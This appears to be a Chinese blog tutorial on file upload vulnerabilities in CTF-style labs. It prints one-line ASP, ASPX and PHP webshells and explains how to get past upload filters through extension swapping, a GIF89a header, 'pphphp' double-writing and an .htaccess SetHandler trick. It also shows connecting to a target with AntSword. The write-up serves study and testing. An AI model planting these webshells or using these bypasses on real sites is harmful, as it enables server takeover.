文件上传漏洞(带实例)

漏洞介绍:

现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如企业的OA系统,允许用户上传图片,视频,头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞剑可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。

漏洞利用:

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至服务器。这个恶意的脚本文件,又被称为 WebShell,是以 ASP、PHP、JSP等网页设计语言编写的网页脚本,通常也叫作网页后门。攻击者在入侵了一个网站后,常会将 WebShell上传到网站的目录下或者插入正常的网页中,然后使用浏览器或者对应的 WebShell客户端来访问这些后门,将会得到一个命令执行的环境,以达到控制网站服务器的目的。

一句话木马:

tips:这下面的木马蚁剑连接的时候密码都为x

ASP的一句话木马:

  1. <%eval request("x")%>

  2. <%execuate request("x")%>

ASPX的一句话木马:

  1. <%@ Page Language="Jscript"%>

<%eval (Request.Item["x"],"unsafe");%)

PHP的一句话木马:

  1. <?php @eval($_POST['x']); ?>

  2. <?php assert($_POST['x']); ?>

漏洞实战样例:

1.JS前端绕过:

靶场题目:

此时我们上传一个一句话木马。

说明前端让后缀为**.php** 的文件是黑名单了

我们可以先改为**.jpg文件然后用bp抓包,在包里面改为.php**,因为此时我们已经通过了前端验证了

将**.jpg改为.php** 就可以上传成功了

上传成功了;

复制图片地址,然后将后缀改成**.php**

php代码被执行成功。

2.文件头绕过

文件上传时,服务器除了JS前端检验,有的检验还会对上传的文件进行文件头检测。文件头信息通常在一个文件的开头,我们用查看十六进制的方式可以查看一个文件的文件头信息。这也是最方便、最快捷的用来辨别一个文件真实内容的方法。

常见的文件头标志如下:

JPEG (jpg),文件头:FFD8FF

PNG (png),文件头:89504E47

GIF (gif),文件头:47494638

HTML (html),文件头:68746D6C3E

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

Adobe Acrobat (pdf),文件头:255044462D312E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

tips:一般图片文件我们都在前面加入GIF89a来绕过

不加文件头的时候;

加了文件头的时候;

然后靶场实战吧!!!

同样先转为图片.jpg文件上传改包

上传成功了

3.黑名单缺陷

限制文件上传的方式千奇百怪,白名单与黑名单就是常见的限制方式。白名单是设置可以让用户上传的文件格式,白名单以外的文件格式都不能通过。黑名单是设置用户不能上传的文件格式,黑名单以外的文件格式都能通过。所以在一般情况下,白名单比黑名单限制的用户要更多一些。

上传**.php**文件会失败的就是黑名单过滤了

本题给了提示;
会把黑名单里面的字符串删掉,然后继续拼接路径。这时候我们可以想到双写绕过
如;
"php"被删掉变成"" 什么都没有
"pphphp",中间的php被删掉,然后前面的p和后面的hp合成新的php
这就是双写绕过

这里我们将**.jpg改为.pphphp,** 后端遇到pphphp的时候会把它变成php

成功上传了

4. .htaccess文件

.htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。

我们先把.htaccess文件上传上去,然后上传一个带有一句话木马的.jpg文件,当你访问.jpg文件时,这个文件会被当成php执行

我们的.htaccess文件根muma.jpg文件在一个目录下,我们访问muma.jpg文件看看

.htaccess适用范围比.user.ini小,他好像只能用于apache服务器上的,大家做ctf题的时候可能会遇到,我这里其实演示失败了....,但是过程就是这样的!!!

一句话木马的使用;

为什么现在才写一句话木马,因为你首先得会上传php文件是吧,不然上传的木马是个图片怎么用呢?

我喜欢用的一句话木马
tips:GIF89a可以绕过后端关于图片的一些验证。phpinfo可以判断是否上传的文件可以按照php执行,会有回显。

先上传成功木马先

然后用蚁剑连接他

先点击测试连接,如果连接成功的话点击添加

双击它我们就可以看到目标的所有目录文件了

所以这就是一句话木马的危害

相关推荐
毒果1 小时前
网络安全全景解析
安全·web安全
云盾安全防护2 小时前
CC攻击与WAF的对抗战
网络·安全·ddos
网硕互联的小客服4 小时前
如何在服务器上部署 Python Django 应用
linux·运维·服务器·网络·安全
渗透好难4 小时前
CTF show 数学不及格
安全·系统安全·密码学
百度安全4 小时前
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
安全·百度
像素工坊可视化5 小时前
监控升级:可视化如何让每一个细节 “说话”
运维·人工智能·安全
程序员阿超的博客6 小时前
【安全篇】金刚不坏之身:整合 Spring Security + JWT 实现无状态认证与授权
java·spring boot·安全·spring
好想打kuo碎6 小时前
轻量安全的密码管理工具Vaultwarden
linux·安全·ubuntu
windy1a8 小时前
【c语言】安全完整性等级
安全
互联网搬砖老肖8 小时前
Web 架构之 API 安全防护:防刷、防爬、防泄漏
前端·安全·架构